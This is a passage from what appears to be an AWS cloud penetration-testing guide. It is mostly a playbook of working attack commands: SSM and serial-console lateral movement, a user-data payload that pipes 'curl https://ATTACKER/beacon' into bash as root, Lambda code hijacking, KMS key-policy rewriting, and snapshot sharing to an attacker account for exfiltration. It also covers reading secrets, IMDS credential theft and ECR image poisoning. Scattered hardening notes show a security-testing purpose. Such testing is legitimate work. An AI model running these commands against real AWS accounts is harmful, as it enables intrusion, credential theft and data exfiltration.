--command-id "$COMMAND_ID" --instance-id "i-XXXXXXXXXXXX"Performs as root on Linux or SYSTEM on Windows by default — is one of the most direct lateral movement paths in EC2 environments, and generates less noise than a RunInstances because it does not create any new resources.
Interactive session equivalent to a shell:
aws ssm start-session --target i-XXXXXXXXXXXXSSM Port Forwarding — Tunnel to internal services not exposed to the network, bypassing security groups:
# Forward a port on the instance itself to your local machine
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["5432"],"localPortNumber":["5432"]}'
# Forward THROUGH the instance to a remote host it can reach (e.g. an RDS
# endpoint reachable only from inside the VPC)
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSessionToRemoteHost \
--parameters '{"host":["internal-rds.example.com"],"portNumber":["5432"],"localPortNumber":["5432"]}'As long as your instance has the SSM Agent and the right role, the tunnel works regardless of any firewall rules between you and the target service—it's the cleanest way to reach an internal database without opening anything.
Edit User Data: code execution on next boot #
If you have ec2:ModifyInstanceAttribute + ec2:StopInstances/ec2:StartInstances, inject a script into user-data that runs as root on reboot — no SSH, no SSM, no pre-installed agents:
# Encode payload — cloud-init runs this as root on next start
printf '#!/bin/bash\ncurl -s https://ATTACKER/beacon | bash' | base64 > /tmp/ud.b64
aws ec2 modify-instance-attribute \
--instance-id i-XXXXXXXXXXXX \
--user-data file:///tmp/ud.b64
# stop + start (NOT reboot) to trigger cloud-init re-execution
aws ec2 stop-instances --instance-ids i-XXXXXXXXXXXX
aws ec2 start-instances --instance-ids i-XXXXXXXXXXXXOn many AMIs cloud-init executes user-data only on first boot — add rm -rf /var/lib/cloud/instances/* at the beginning of the payload to force reexecution even on already initialized instances.
EC2 Serial Console #
On Nitro instances: Direct serial console access, completely bypassing SSH and SSM, even if the instance is not responding to the network:
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id i-XXXXXXXXXXXX \
--serial-port 0 \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa i-XXXXXXXXXXXX.port0@serial-console.ec2-instance-connect.us-east-1.awsNo special ports: Standard SSH (22). The endpoint varies by region (some use the format ec2-serial-console.REGION.api.aws — check the AWS table first). You have 60 seconds after send-serial-console-ssh-public-key before the key is removed. Requires ec2-instance-connect:SendSerialConsoleSSHPublicKeyUseful on instances in a degraded state, with SSH blocked by security groups, or when SSM is unresponsive.
VPC Peering, Transit Gateway, and Cross-Account Connectivity #
# VPC peering — may include connections to other AWS accounts
aws ec2 describe-vpc-peering-connections
# Transit Gateway — hub for multiple VPCs and on-prem connections
aws ec2 describe-transit-gateways
aws ec2 describe-transit-gateway-attachments
# VPN tunnels and Direct Connect links to on-prem
aws ec2 describe-vpn-connections
aws directconnect describe-connectionsA cross-account VPC peering to a non-segmented VPC is direct lateral movement: just reach the private IP from the instance you control, without assuming additional roles.
Route53: internal topology and subdomain takeover #
aws route53 list-hosted-zones
aws route53 list-resource-record-sets --hosted-zone-id ZONE_IDPrivate hosted zones reveal hostnames never exposed publicly: databases, internal APIs, admin endpoints. Search records. CNAME that point to deleted Elastic Beanstalk/S3/CloudFront/ELB resources — are candidates for subdomain takeover: if the target resource no longer exists, anyone who recreates it in their infrastructure inherits that DNS record.
Windows administrator password #
aws ec2 get-password-data --instance-id i-XXXXXXXXXXXXThis only works on Windows instances launched with an EC2 key pair. The field PasswordData It is encrypted with the public key of the key pair: the private key is needed to decrypt it.
Lambda #
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda get-function-configuration --function-name FUNCTION_NAMECurl equivalent of list-functions (REST-JSON, GET on fixed path):
curl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions?MaxItems=50"More in-depth analysis #
aws lambda list-versions-by-function --function-name FUNCTION_NAME
aws lambda list-aliases --function-name FUNCTION_NAME
# Execution role: the real privilege the function runs with
aws lambda get-function-configuration --function-name FUNCTION_NAME --query 'Role'
aws iam list-attached-role-policies --role-name EXTRACTED_ROLE_NAME
aws lambda list-event-source-mappings --function-name FUNCTION_NAME
aws lambda get-function-url-config --function-name FUNCTION_NAME
aws lambda get-policy --function-name FUNCTION_NAMEExploitation: lambda:UpdateFunctionCode
#
If you can modify the code of a function existing but don't create a new one, you can hijack its execution role without needing to iam:PassRole (the function already has that role assigned):
# Build a payload matching the function's existing handler name
zip payload.zip lambda_function.py
aws lambda update-function-code --function-name TARGET_FUNCTION --zip-file fileb://payload.zip
aws lambda invoke --function-name TARGET_FUNCTION output.jsonDirect invocation via REST API #
POST https://lambda.REGION.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocationscurl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-X POST -d '{"test":"payload"}' \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocations"Public URL Function (AuthType: NONE, check it out with get-function-url-config), without any credentials:
curl -X POST "https://FUNCTION_URL_ID.lambda-url.us-east-1.on.aws/" \
-H "Content-Type: application/json" -d '{"test":"payload"}'Role credentials from within the function #
Lambda does not expose IMDS: execution role credentials are retrieved via the local container credentials endpoint, already pointed to by the process environment variables:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI" \
-H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN"The same mechanism applies to ECS tasks on Fargate/EC2 (ECS section below).
Secrets Manager, SSM and KMS #
Secret Manager #
aws secretsmanager list-secrets
aws secretsmanager describe-secret --secret-id SECRET_NAME
aws secretsmanager list-secret-version-ids --secret-id SECRET_NAME
aws secretsmanager get-secret-value --secret-id SECRET_NAMEcurl equivalent (JSON 1.1, X-Amz-Target select the operation, not the path):
end point: https://secretsmanager.us-east-1.amazonaws.com/ — single path (/) for all operations.
curl --aws-sigv4 "aws:amz:us-east-1:secretsmanager" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: secretsmanager.GetSecretValue" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"SecretId":"SECRET_NAME"}' \
https://secretsmanager.us-east-1.amazonaws.com/SSM Parameter Store #
aws ssm describe-parameters
aws ssm get-parameter --name /app/db/password --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryptionend point: https://ssm.us-east-1.amazonaws.com/, same JSON 1.1 protocol seen above for Run Command — here with X-Amz-Target: AmazonSSM.GetParametersByPath:
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.GetParametersByPath" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"Path":"/","Recursive":true,"WithDecryption":true}' \
https://ssm.us-east-1.amazonaws.com/Secrets Manager and SSM Parameter Store are not interchangeable: Secrets Manager has built-in automatic rotation; SSM is more generic and uses SecureString for encrypted values (String/StringList are already in clear text). Both, for encrypted values, depend on KMS: without kms:Decrypt on the key, --with-decryption fails even with correct SSM permissions.
It is not good practice to indiscriminately download every visible secret: enumerate the metadata first, recovering only what is necessary to demonstrate the impact.
KMS #
aws kms list-keys
aws kms describe-key --key-id KEY_ID
aws kms get-key-policy --key-id KEY_ID --policy-name defaultend point: https://kms.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: TrentService.ListKeys TrentService This is the historical internal name of the KMS API, it remains in the header even today):
curl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.ListKeys" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://kms.us-east-1.amazonaws.com/Seeing a key does not imply being able to use it: kms:Decrypt/kms:Encrypt These are separate permissions, evaluated against both the key policy and the caller's IAM policies.
Privilege escalation: kms:PutKeyPolicy
#
Prerequisite: kms:PutKeyPolicy on a key that protects relevant data (e.g., an EBS volume, an S3 SSE-KMS bucket, a secret). Impact: Rewrite the key policy to grant you kms:Decrypt directly, bypassing any restrictions designed for that key — even if you don't have any “legitimate” IAM permissions on the encrypted resource, if you can decrypt it with the key you can read its contents.
aws kms get-key-policy --key-id KEY_ID --policy-name default --output text > current_policy.json
# Edit current_policy.json: add a Statement granting kms:Decrypt to your own principal ARN
aws kms put-key-policy --key-id KEY_ID --policy-name default --policy file://current_policy.jsonDefender side mitigation: key policy should limit kms:PutKeyPolicy to a dedicated administrative role, separate from those who use the key operationally.
Decrypt data directly with kms:Decrypt
#
With kms:Decrypt on the key, you decrypt server-side encrypted data without going through the application service that produced it (e.g. a value extracted from a secret, or an SSE-KMS blob):
aws kms decrypt \
--ciphertext-blob fileb://encrypted.bin \
--output text --query Plaintext | base64 -d > decrypted.txtcurl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.Decrypt" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"CiphertextBlob":"BASE64_CIPHERTEXT"}' \
https://kms.us-east-1.amazonaws.com/Il CiphertextBlob It already contains the key metadata: KMS automatically knows which one to use, you don't have to specify it. The ciphertext must be passed in base64.
Exfiltration via snapshot: EBS and RDS, without touching the live resource #
An often overlooked pattern: you don't need network access or application credentials to an instance or database to read its data. You can simply share a snapshot with your own account (or a public one) and reconstruct it elsewhere, outside the target's monitoring perimeter.
EBS #
end point: https://ec2.us-east-1.amazonaws.com/ (same EC2 query endpoint as seen above — ModifySnapshotAttribute it's just another one Action).
# If no snapshot exists yet: create one from a target volume (ec2:CreateSnapshot)
aws ec2 create-snapshot --volume-id vol-XXXXXXXX --description "backup"
# Prerequisite: ec2:ModifySnapshotAttribute on the snapshot
aws ec2 modify-snapshot-attribute \
--snapshot-id snap-XXXXXXXX \
--attribute createVolumePermission \
--operation-type add --user-ids YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: create a volume from the shared snapshot
aws ec2 create-volume --snapshot-id snap-XXXXXXXX --availability-zone us-east-1a
# Attach it to an instance you control and mount it — the data is now
# fully readable outside the target account's logging/monitoring scope
aws ec2 attach-volume --volume-id vol-XXXXXXXX --instance-id i-YOUR_INSTANCE --device /dev/sdfRDS #
end point: https://rds.us-east-1.amazonaws.com/ (query protocol, such as EC2/STS/IAM).
# Prerequisite: rds:ModifyDBSnapshotAttribute on an existing snapshot
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier SNAPSHOT_ID \
--attribute-name restore \
--values-to-add YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: restore a full new DB instance from it
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier exfil-restore \
--db-snapshot-identifier SNAPSHOT_IDImpact: In both cases, you get a complete, persistent copy of the data, without any direct interaction with the original resource—no network connection to the target, no queries against the live DB. Always check if the snapshot is encrypted with a KMS CMK: if it is, you also need access to the key (see above) or share it with others. kms:PutKeyPolicy/key grant, otherwise sharing the snapshot alone is not enough to read its contents in the destination account.
Cognito Identity Pools: IAM Credentials Without Authentication #
If a web/mobile app has a hardcoded Identity Pool ID (commonly found in client-side JS or app configuration) and the pool allows guest access, you can get real IAM credentials without any authentication:
aws cognito-identity get-id --identity-pool-id IDENTITY_POOL_ID --no-sign-request
aws cognito-identity get-credentials-for-identity --identity-id IDENTITY_ID --no-sign-requestCurl equivalent, raw HTTP, unsigned (these two calls don't require credentials — they're the initial entry point):
end point: https://cognito-identity.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AWSCognitoIdentityService.OperationName — no SigV4 signature needed for GetId/GetCredentialsForIdentity on a unauth pool).
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityPoolId":"IDENTITY_POOL_ID"}'
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityId":"IDENTITY_ID_FROM_ABOVE"}'The second answer contains AccessKeyId, SecretKey, SessionToken ready to use. The default unauth role (Cognito_<PoolName>Unauth_Role) often has no permissions, but it should always be tested — and credentials obtained via the “enhanced” flow carry a restrictive session policy even if the role itself would be more permissive: if the pool has the “Basic” flow enabled, you can bypass that restriction by passing the OpenID token:
aws cognito-identity get-open-id-token --identity-id IDENTITY_ID --no-sign-request
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" \
--role-session-name pivot \
--web-identity-token TOKEN_FROM_ABOVECognito User Pools: Enumeration and Access #
User Pools (distinct from the Identity Pools discussed above) manage user registration, login, MFA, and password recovery. They often have weak policies or exploitable auth flows.
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp describe-user-pool --user-pool-id POOL_ID
aws cognito-idp list-user-pool-clients --user-pool-id POOL_ID
aws cognito-idp describe-user-pool-client --user-pool-id POOL_ID --client-id CLIENT_IDSe ExplicitAuthFlows of the client includes ALLOW_USER_PASSWORD_AUTH, login passes username+password in clear text (no SRP):
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id CLIENT_ID \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'User enumeration: Is PreventUserExistenceErrors is not enabled, Cognito distinguishes non-existent username (UserNotFoundException) from incorrect password (NotAuthorizedException) — allows you to confirm existing accounts.
With IAM credentials that have cognito-idp:AdminInitiateAuth, admin flows bypass client-side protections:
aws cognito-idp admin-initiate-auth \
--user-pool-id POOL_ID --client-id CLIENT_ID \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'EKS: Kubernetes cluster #
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAMEdescribe-cluster returns the cluster's API endpoint and, importantly, whether the endpoint is public (resourcesVpcConfig.endpointPublicAccess: true). With eks:DescribeCluster + eks:AccessKubernetesApi You generate a kubeconfig and authenticate to the control plane using your AWS credentials:
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1
# aws-iam-authenticator converte la credenziale IAM in un token K8s
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --listThe IAM→RBAC mapping is in the ConfigMap aws-auth: an identity mapped to system:masters is the cluster admin. Once inside, the service account tokens mounted on the pods (/var/run/secrets/kubernetes.io/serviceaccount/token) and cluster secrets are the next step.
API Gateway: Authentication-Free Endpoint #
aws apigateway get-rest-apis
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-stages --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GETSearch methods with authorizationType: NONE — endpoints that can be invoked without credentials. The invoke URL has the form https://API_ID.execute-api.REGION.amazonaws.com/STAGE/PATHThey often expose internal Lambda functions that are meant to be accessed only from the frontend, without server-side controls.
AWS Organizations: Map of the Entire Organization #
aws organizations describe-organization
aws organizations list-accounts
aws organizations list-roots
aws organizations list-organizational-units-for-parent --parent-id ROOT_ID
aws organizations list-policies --filter SERVICE_CONTROL_POLICY
aws organizations describe-policy --policy-id POLICY_IDlist-accounts It gives all the organization's accounts—the real perimeter, not just the one you're in. SCPs explain because certain actions fail with AccessDenied even when IAM would allow it: an SCP at the OU level can block the upstream action. From an account management perspective, the role OrganizationAccountAccessRole It is often assumed on each child account — immediate pivot across the entire org.
OpenSearch / Elasticsearch #
aws opensearch list-domain-names
aws opensearch describe-domain --domain-name DOMAIN_NAME
aws es list-domain-names # legacy CLI name
aws es describe-elasticsearch-domain --domain-name DOMAIN_NAMECheck it out AccessPolicies in the response: a domain with policy "Principal": "*" and no IP condition is publicly queried via HTTP, without AWS credentials. The endpoint is in the field Endpoint/Endpoints:
# If the access policy is open, query the index directly
curl "https://DOMAIN_ENDPOINT/_cat/indices?v"
curl "https://DOMAIN_ENDPOINT/INDEX_NAME/_search?pretty&size=20"They often contain application logs, PII data, or entire database dumps indexed for search.
Step Functions: sensitive data in the execution history #
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn SM_ARN
aws stepfunctions list-executions --state-machine-arn SM_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARNget-execution-history Here's the interesting point: each state transition records the complete input and output passed between steps. If the state machine moves credentials, tokens, or user data between Lambdas, they end up in the history in plain text—readable with just the states:GetExecutionHistory.
CloudFormation: template and output #
In addition to the private street PassRole (seen above), CloudFormation is a goldmine of secrets to read:
aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name STACK_NAME --query 'Stacks[].Outputs'
aws cloudformation get-template --stack-name STACK_NAME
aws cloudformation list-stack-resources --stack-name STACK_NAME
aws cloudformation describe-stack-events --stack-name STACK_NAME- Outputs often contain endpoints, ARNs, and — in frequent bad practice — passwords or keys passed as parameters. get-template It reveals the entire infrastructure as code: default parameters, resources, and sometimes secrets hardcoded directly into the template instead of referenced by Secrets Manager.
Glue: Credentials in Connections #
aws glue get-databases
aws glue get-tables --database-name DB_NAME
aws glue get-connections
aws glue get-connection --name CONNECTION_NAMEget-connections is the target: Glue connections to external databases often contain usernames and passwords in ConnectionProperties (USERNAME, PASSWORD), returned with only glue:GetConnectionThe data catalog (get-tables) also reveals the S3 schema and location of each dataset, which is useful for knowing where to look for the real data.
CI/CD: CodeBuild and CodePipeline #
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name PIPELINE_NAMEbatch-get-projects show environment.environmentVariables: build variables often with tokens, deployment credentials, or API keys in clear text (PLAINTEXT) instead of Secrets Manager/SSM. The field serviceRole is the role the build runs under — if you can modify a project's buildspec (codebuild:UpdateProject (or commit to the source repo) execute arbitrary commands in that context, inheriting its privileges: this is the CI/CD equivalent of hijacking a Lambda.
Hardening: sensitive variables always as SECRETS_MANAGER/PARAMETER_STOREMore PLAINTEXT; service role with least privilege; mandatory buildspec review.
SES: Send email from the target domain #
If the compromised identity has access to SES and the target has a verified domain/address, you can send legitimately signed (valid SPF/DKIM) emails from their domain—a much more credible internal phishing vector than an external domain.
aws ses list-identities
aws ses get-identity-verification-attributes --identities example.com
aws ses get-send-quotaget-identity-verification-attributes confirm which domains are Success (verified and usable). The impact to be documented in an engagement is this: a single identity with ses:SendEmail Turns a cloud compromise into a high-trust phishing channel for employees or customers.
Hardening: to narrow ses:SendEmail/SendRawEmail to only the application identities that need it, with conditions on FromAddress; monitor abnormal sending peaks.
IAM Identity Center (SSO) #
In enterprise environments, access is often centralized in IAM Identity Center (formerly AWS SSO), not on-premises IAM users. Listing permission sets and assignments provides a true map of who accesses what across all accounts in the organization:
aws sso-admin list-instances
aws sso-admin list-permission-sets --instance-arn INSTANCE_ARN
aws sso-admin describe-permission-set --instance-arn INSTANCE_ARN --permission-set-arn PS_ARN
aws sso-admin list-account-assignments --instance-arn INSTANCE_ARN \
--account-id ACCOUNT_ID --permission-set-arn PS_ARN
# Identity store: users and groups behind the assignments
aws identitystore list-users --identity-store-id STORE_ID
aws identitystore list-groups --identity-store-id STORE_IDA permission set with overly broad policies assigned to a large group is an organization-wide privilege: everyone in that group inherits those permissions on every linked account.
RDS, ECR and ECS #
RDS #
end point: https://rds.us-east-1.amazonaws.com/ (query protocol — identical to the one used above for snapshot sharing).
aws rds describe-db-instances
aws rds describe-db-clusters
aws rds describe-db-snapshots
aws rds describe-db-snapshot-attributes --db-snapshot-identifier SNAPSHOT_IDViewing endpoints and network configurations isn't the same as having database access: you need network reachability and valid application credentials. Always check publicly shared snapshots.
ECR #
end point: https://api.ecr.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories — note the hostname api.ecr.*, different from the signing name ecr used in --aws-sigv4):
curl --aws-sigv4 "aws:amz:us-east-1:ecr" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://api.ecr.us-east-1.amazonaws.com/
aws ecr describe-repositories
aws ecr describe-images --repository-name REPO_NAME
aws ecr get-login-password --region REGIONget-login-password does not enumerate anything: returns a temporary (12h) credential for the Docker registry.
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com
docker pull ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest
docker history --no-trunc ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestImage poisoning (supply chain): With ecr:PutImage + push to the repository, you can republish a malicious image on the same tag as a legitimate one. Anyone who does this then docker pull of that tag (deploy ECS/EKS, CI/CD) runs your code.
# Rebuild the image with an injected payload, keep the SAME tag
docker build -t ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest .
docker push ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestHardening: enable tag immutability on the repository (aws ecr put-image-tag-mutability --image-tag-mutability IMMUTABLE) — prevents overwriting an existing tag — and on-push scanning to intercept known vulnerable images.
ECS #
end point: https://ecs.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters):
curl --aws-sigv4 "aws:amz:us-east-1:ecs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://ecs.us-east-1.amazonaws.com/
aws ecs list-clusters
aws ecs list-services --cluster CLUSTER_NAME
aws ecs list-tasks --cluster CLUSTER_NAME
aws ecs describe-task-definition --task-definition TASK_DEF_NAMETwo distinct roles: execution role (executionRoleArn, infrastructural: image pull, log, secret injection) vs task role (taskRoleArn, the privilege of the running application).
containerDefinitions[].environment = clear variables; containerDefinitions[].secrets = references to Secrets Manager/SSM, not the value itself.
Interactive shell in an ECS container: ecs:ExecuteCommand
#
If the task has enableExecuteCommand: true and the SSM agent in the container, you can get a direct shell without going through any bastion:
aws ecs execute-command \
--cluster CLUSTER_NAME --task TASK_ID \
--container CONTAINER_NAME --interactive \
--command "/bin/sh"require ecs:ExecuteCommand more ssmmessages:CreateControlChannel/CreateDataChannelOnce inside, the task role credentials can be obtained as on Lambda:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"SQS and SNS: Data in Transit #
Message queues are often overlooked compared to S3/Secrets Manager, but they carry application payloads that include tokens, session IDs, or user data.
SQS Endpoint: https://sqs.us-east-1.amazonaws.com/ (JSON 1.0, X-Amz-Target: AmazonSQS.ReceiveMessage). SNS Endpoints: https://sns.us-east-1.amazonaws.com/ (query protocol, such as STS/IAM/EC2).
curl --aws-sigv4 "aws:amz:us-east-1:sqs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSQS.ReceiveMessage" \
-H "Content-Type: application/x-amz-json-1.0" \
-d '{"QueueUrl":"QUEUE_URL","MaxNumberOfMessages":10}' \
https://sqs.us-east-1.amazonaws.com/
aws sqs list-queues
aws sqs get-queue-attributes --queue-url QUEUE_URL --attribute-names All
# Peek at messages without deleting them from the queue — VisibilityTimeout
# determines how long they stay hidden from other consumers after this
aws sqs receive-message --queue-url QUEUE_URL --max-number-of-messages 10
aws sns list-topics
aws sns get-topic-attributes --topic-arn TOPIC_ARNreceive-message temporarily moves the message out of the queue for other consumers (for the duration of VisibilityTimeout): if the message is not explicitly deleted (delete-message) or if it times out, it becomes visible again—but repeated or poorly managed consumption can still interfere with normal application processing. Treat it as an action with side effects, not a harmless read.
DynamoDB: Application Data at Rest #
Often overlooked as much as SQS/SNS, but it's where user sessions, tokens, PII data, and sometimes entire application configurations end up — with read permissions that are surprisingly often broader than those on S3, because “it's just an internal database.”
aws dynamodb list-tables
aws dynamodb describe-table --table-name TABLE_NAME
# Full table dump — no filter, reads every item. On a large table this
# burns read capacity units and is slow; scope with --limit or a
# FilterExpression when you only need to confirm sensitive fields exist
aws dynamodb scan --table-name TABLE_NAME --limit 20describe-table also shows if the table has the Streams active (StreamSpecification): if yes, and if you have dynamodb:GetRecords/GetShardIterator on the relevant ARN stream, you can read the stream of changes in real time without even scanning — useful for intercepting written data after that you have gained access, without having to repeat noisy periodic scans.
Silent export to S3: if the table has point-in-time recovery enabled, export-table-to-point-in-time Download the entire table to an S3 bucket without doing a single scan — no read capacity consumption, no live table operations, more discreet than a scan-based dump:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:us-east-1:ACCOUNT_ID:table/TABLE_NAME \
--s3-bucket YOUR_BUCKET --export-format DYNAMODB_JSONHardening: scan/export On sensitive tables, they should be restricted with IAM conditions and monitored — an export to a bucket external to the account is a strong sign of exfiltration.
CloudWatch Logs: Uncovering Mistakenly Logged Secrets #
One of the most common sources of leaks in practice: an application that logs the entire request/response object for debugging, including environment variables, authentication headers, or cleartext password payloads—and no one notices because the logs aren't read manually.
aws logs describe-log-groups
# Search a specific log group for common secret patterns over the last 24h
aws logs filter-log-events \
--log-group-name /aws/lambda/TARGET_FUNCTION \
--start-time $(( $(date +%s) - 86400 ))000 \
--filter-pattern "password"
# Repeat with other high-value patterns
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "AKIA"
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "?Authorization ?Bearer ?secret"filter-pattern CloudWatch Logs supports a simple match syntax (not true regex) — for more sophisticated searching on large exports, export the log group to S3 (create-export-task) and pass the files to grep/dedicated local tools.
IMDS (metadata service) #
If you have code execution on an EC2 instance, the metadata service is often the quickest route to IAM credentials.
# IMDSv1 — no token required
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# IMDSv2 — a token obtained via PUT is required
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAMEOther IMDS paths useful for post-exploitation reconnaissance:
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-dataIMDSv2 is not an absolute protection against SSRF: it requires the method PUT to get the token, which mitigates against simple redirect/GET based SSRFs, but does not protect if the attacker already has local code execution, if SSRF allows forging arbitrary headers/methods, or if HttpTokens it's still optional.
CloudTrail #
end point: https://cloudtrail.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails):
curl --aws-sigv4 "aws:amz:us-east-1:cloudtrail" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://cloudtrail.us-east-1.amazonaws.com/
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TRAIL_NAME
aws cloudtrail lookup-events --max-results 20The purpose of monitoring CloudTrail is to understand what is actually being recorded, not to estimate how much noise you can afford: even without a trail configured, management events remain visible in Event History for 90 days. I event data (GetObject, Lambda invocations) are not included by default and must be explicitly enabled — check with get-event-selectors.
RequestExpired / clock skew error #
If a command fails with:
An error occurred (RequestExpired) when calling the ListFunctions operation: Request has expired.The problem is almost always not the credentials, but the system clock: AWS rejects requests whose timestamp deviates too much (around 15 minutes) from the time on its servers.
date -u
timedatectl
timedatectl timesync-statusFixed: Re-enable system NTP synchronization, not manually changing the time as standard procedure.
sudo timedatectl set-ntp true
timedatectlTroubleshooting: Common Errors During an AWS Pentest #
| Error | Probable cause | Diagnostic command | Solution |
|---|---|---|---|
AccessDenied | The identity does not have IAM permission for that specific action, or a Deny explicit/SCP blocks it | aws iam simulate-principal-policy --action-names AZIONE_FALLITA | Check attached/inline policies, permissions boundaries, and SCPs; it's not always a dead end, try alternative actions. |
ExpiredToken / TokenRefreshRequired | Temporary credentials (STS, assume-role, IMDS) have expired | Check the field Expiration returned upon issuance of credentials | Request new credentials (new assume-role (or new call to IMDS/container credentials) |
